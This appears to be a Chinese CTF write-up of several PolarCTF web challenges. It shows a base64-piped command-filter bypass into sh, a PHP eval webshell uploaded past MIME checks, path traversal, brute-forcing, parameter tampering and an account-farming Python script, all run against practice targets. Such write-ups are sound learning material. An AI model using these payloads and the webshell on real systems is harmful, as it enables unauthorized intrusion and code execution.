【2025PolarCTF秋季个人赛】WEB方向部分wp

white

打开靶机,发现可以执行命令,但是进行了严格的过滤

可以执行的命令是一个白名单

ls
pwd
whoami
date
echo
base64
sh

白名单命令下方告知了过滤规则,比如禁止危险函数和过滤特殊字符等。有意思的是,这里虽然说过滤特殊字符(如;、&、|、@、!)等,但是我们随便输入一个被过滤的字符,会回显一个过滤字符的正则表达式

/[;&`$\'\"<>?*[\]{}()#@!%]/

而这个正则表达式过滤掉的字符有

/ [ ; & \ $ ' " < > ? * [ ] { } ( ) # @ ! %`

可以发现,并没有管道符 | 。所以管道符拼接就是本题的利用点。

回到白名单,可以发现有echo base64 sh等可以利用,这样解法就很清楚了。

首先给ls命令base64编码为bHM=,然后执行

echo bHM=|base64 -d|sh

发现可以正常回显,证明这种方法可行

tac /flag编码dGFjIC9mbGFn,执行

echo dGFjIC9mbGFn|base64 -d|sh

拿到flag

俄罗斯方块

是一个小游戏

游戏开始页面提示够10分给奖励,我们控制台修改score=10,然后消除一行,看到弹窗提示

好吧是个假的奖励。

我们去翻js源码

在下面可以看到一个路由地址,访问拿到flag

wechat_2025-09-20_183351_710

flag{Polar_gift_of_Squirtle}

狗黑子的舔狗日记

进去之后是一个类似微信的页面,我们到处点一点,发现只有消息、朋友圈、我和退出登录这几个页面可以有效访问

dirsearch扫一下,发现flag.php和源码泄露

wechat_2025-09-20_150846_540

flag.php是一个类似表白女神的页面,没什么有用信息

www.zip解压出来是一串弱密码,留着备用

然后我们观察切换页面时url的变化,是通过?page参数来改变访问的页面

考虑文件读取漏洞,尝试目录穿越,但是严格过滤了特殊字符,所以目录穿越不可行

然后考虑php伪协议读index.php源码,尝试发现可行,并且在源码中找到了一个base64加密的flag字符串

wechat_2025-09-20_152224_787

解base64发现关键信息

wechat_2025-09-20_152432_170

注意output编码改为utf-8,否则汉字输出时会乱码

知道了女神的微信号,猜测刚才的弱密码其中有女神微信密码,爆破

wechat_2025-09-20_152530_884

拿到密码直接登录,发现可以进到女神和狗黑子的聊天记录

wechat_2025-09-20_152634_788

随便发送一条消息即可得到女神名字

wechat_2025-09-20_152714_771

md5加密名字即可得到flag

wechat_2025-09-20_153209_895

flag{aa1e3ea993e122de5de6e387db6c8609}

VIP

vip内容需要VIP才能查看,我们抓包查看,发现有一个post参数

vipStatus=no

给他改成yes拿到flag

wechat_2025-09-20_183607_564

polar快递

下载备忘录

在里面找到默认普通账号和默认密码,此时登录发现当前是普通用户权限,无法查看flag

登录时抓包,我们看到一个post参数id=user,给他改成root,登录拿到flag

wechat_2025-09-20_183905_462

狗黑子的登录

dirsearch扫一下发现git泄露,githack拿到源码

index.php

<?php
session_start();

if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    header('Location: admin.php');
    exit;
}


if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_register'])) {
    $registerValue = $_POST['seclients_can_register'];
    // 明确处理0和1两种情况
    if ($registerValue == 1) {
        $_SESSION['show_register'] = true;  
    } elseif ($registerValue == 0) {
        $_SESSION['show_register'] = false; 
    }
}

// 处理登录
$error = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    require 'config.php';
    
    if (isset($users[$username]) && $users[$username] === $password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        header('Location: admin.php');
        exit;
    } else {
        $error = '用户名或密码不正确';
    }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>狗黑子的小破站</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;
            background-color: #f0f0f0;
        }
        .login-container {
            background-color: white;
            padding: 2rem;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0,0,0,0.1);
        }
        .form-group {
            margin-bottom: 1rem;
        }
        label {
            display: block;
            margin-bottom: 0.5rem;
        }
        input {
            width: 100%;
            padding: 0.5rem;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            width: 100%;
            padding: 0.5rem;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #0056b3;
        }
        .error {
            color: red;
            margin-bottom: 1rem;
        }
        .register-btn {
            margin-top: 1rem;
            font-size: 0.8rem;
            padding: 0.3rem;
            background-color: #6c757d;
        }
        .register-btn:hover {
            background-color: #5a6268;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <h2>用户登录</h2>
        <?php if ($error): ?>
            <div class="error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <form method="post">
            <div class="form-group">
                <label for="username">用户名</label>
                <input type="text" id="username" name="username" required>
            </div>
            <div class="form-group">
                <label for="password">密码</label>
                <input type="password" id="password" name="password" required>
            </div>
            <button type="submit" name="login">登录</button>
            
            <?php if (isset($_SESSION['show_register']) && $_SESSION['show_register'] === true): ?>
                <button type="button" class="register-btn" onclick="window.location.href='register.php'">注册</button>
            <?php endif; ?>
        </form>
    </div>
</body>
</html>

admin.php

<?php
session_start();

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header('Location: index.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['seclients_can_upload']) && $_POST['seclients_can_upload'] == 1) {
    $_SESSION['show_upload'] = true;
}

$upload_message = '';
if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $target_dir = "uploads/";
    if (!file_exists($target_dir)) {
        mkdir($target_dir, 0777, true);
    }
    
    $target_file = $target_dir . basename($_FILES["file"]["name"]);
    $uploadOk = true;
    

    if ($_FILES["file"]["size"] < 200 * 1024) {
        $upload_message = "文件太小了。";
        $uploadOk = false;
    }
    

    $image_types = array('image/jpeg', 'image/png', 'image/gif', 'image/webp');
    $file_type = $_FILES["file"]["type"];
    
    if (!in_array($file_type, $image_types)) {
        $upload_message = "只允许上传图片文件 (JPG, PNG, GIF, WEBP)。";
        $uploadOk = false;
    }
    

    if ($uploadOk && move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        $upload_message = "文件 " . htmlspecialchars(basename($_FILES["file"]["name"])) . " 上传成功。";
    } elseif ($uploadOk) {
        $upload_message = "文件上传失败。";
    }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>狗黑子的小破站</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            padding: 2rem;
        }
        .upload-section {
            margin-top: 2rem;
            padding: 1rem;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        .message {
            margin: 1rem 0;
            padding: 1rem;
            border-radius: 4px;
        }
        .success {
            background-color: #d4edda;
            color: #155724;
        }
        .error {
            background-color: #f8d7da;
            color: #721c24;
        }
        button {
            padding: 0.5rem 1rem;
            background-color: #dc3545;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background-color: #c82333;
        }
        input[type="file"] {
            margin: 1rem 0;
        }
        input[type="submit"] {
            padding: 0.5rem 1rem;
            background-color: #28a745;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        input[type="submit"]:hover {
            background-color: #218838;
        }
    </style>
</head>
<body>
    <h1>恭喜进来<?php echo htmlspecialchars($_SESSION['username']); ?>!</h1>
    <p><a href="logout.php"><button>退出登录</button></a></p>
    
    <?php if ($upload_message): ?>
        <div class="message <?php echo strpos($upload_message, '成功') !== false ? 'success' : 'error'; ?>">
            <?php echo $upload_message; ?>
        </div>
    <?php endif; ?>
    
    <?php if (isset($_SESSION['show_upload']) && $_SESSION['show_upload'] === true): ?>
        <div class="upload-section">
            <h2>文件上传</h2>
            <form method="post" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <br>
                <input type="submit" value="上传文件" name="upload">
            </form>
        </div>
    <?php endif; ?>
</body>
</html>

思路很简单,首先注册,登录,然后传马拿flag

首先post传参seclient_can_register=1拿到注册按钮,注册账号

这里注意账号密码需要保持统一

注册后登录

在admin.php页面post传seclient_can_upload=1拿到文件上传按钮,这里只检测MIME类型和文件大小,我们在shell.php中写入一句话木马,后面跟上200k的数据即可

<?php eval($_POST['a']);?
aaaaaaaaaaaaaaaaaaaaaaaa...(200k)

代码审计easy

<?php
$page = 'hello.php';
if (isset($_GET['page'])) {
    $page = $_GET['page'];
}

$base_dir = __DIR__ . '/pages/';
$target = $base_dir . $page;
if (preg_match('/https?:\/\//i', $page)) {
    echo "远程 URL 不允许呦。";
    exit;
}
if (file_exists($target)) {
    $content = file_get_contents($target);
    echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>";
} else {
    if (@file_exists($page)) {
        $content = file_get_contents($page);
        echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>";
    } else {
        echo "No!: " . htmlspecialchars($page);
    }
}

其实就是一个简单的目录穿越,但是试了好多都不可以,到最后才发现其实就在上一层

?page=../flag.txt

拿到flag

flag{simple_lfr_ctf_2025}

老刘的小店

首先随便注册一个账号登录,我们发现可以用polar coins买东西,经过测试前三个都是没有用的,那么猜测flag就在最后一个admin secret里面

又因为我们登录可以获得一个硬币,登录又可以直接get 3 coins

又因为这里还有一个transfer转移硬币的功能,transfer是把当前账号的硬币转移一定数量到目标账号下

所以我们大胆假设:我们可以注册超多账号,然后把注册的超多账号送的4个币全部转移到我们账户下!

我们利用burpsuite抓包,这里我们使用burpsuite自带工具:Copy As Python-Requests

我们可以复制请求包转为python requests请求。

我们需要三个请求包:注册账号,获得三个硬币,转移硬币。因此我们需要获得三个相应的请求包。

    burp0_url = "http://cfd01d45-3b32-433c-9069-8a19ce1343da.www.polarctf.com:8090/register.php"
    burp0_data = {"username": "Acc", "password": "123123"}
    res1 = session.post(burp0_url, data=burp0_data)

    burp1_url = "http://cfd01d45-3b32-433c-9069-8a19ce1343da.www.polarctf.com:8090/dashboard.php"
    burp1_data = {"get_coins": ""}
    session.post(burp1_url, data=burp1_data)

    burp2_data = {"transfer": "1", "to_user": "moyuanw", "amount": "4"}
    session.post(burp1_url, data=burp2_data)

本地运行这个脚本,不断刷新页面,可以发现硬币数是不断增加的。等待它变成10000,买下admin secret

拿到了admin的账户密码,登录发现老刘的生平,查看源代码发现php代码,是一个过滤比较严格的rce

参考安洵杯 2019 easy_web,两个题一模一样

这里其实反斜杠并没有过滤,具体参考https://www.cnblogs.com/hetianlab/p/18124378

所以我们直接ta\c /fl\ag即可拿到flag。

posted @ 2025-09-20 21:56  Acc1oFl4g  阅读(113)  评论(0)    收藏  举报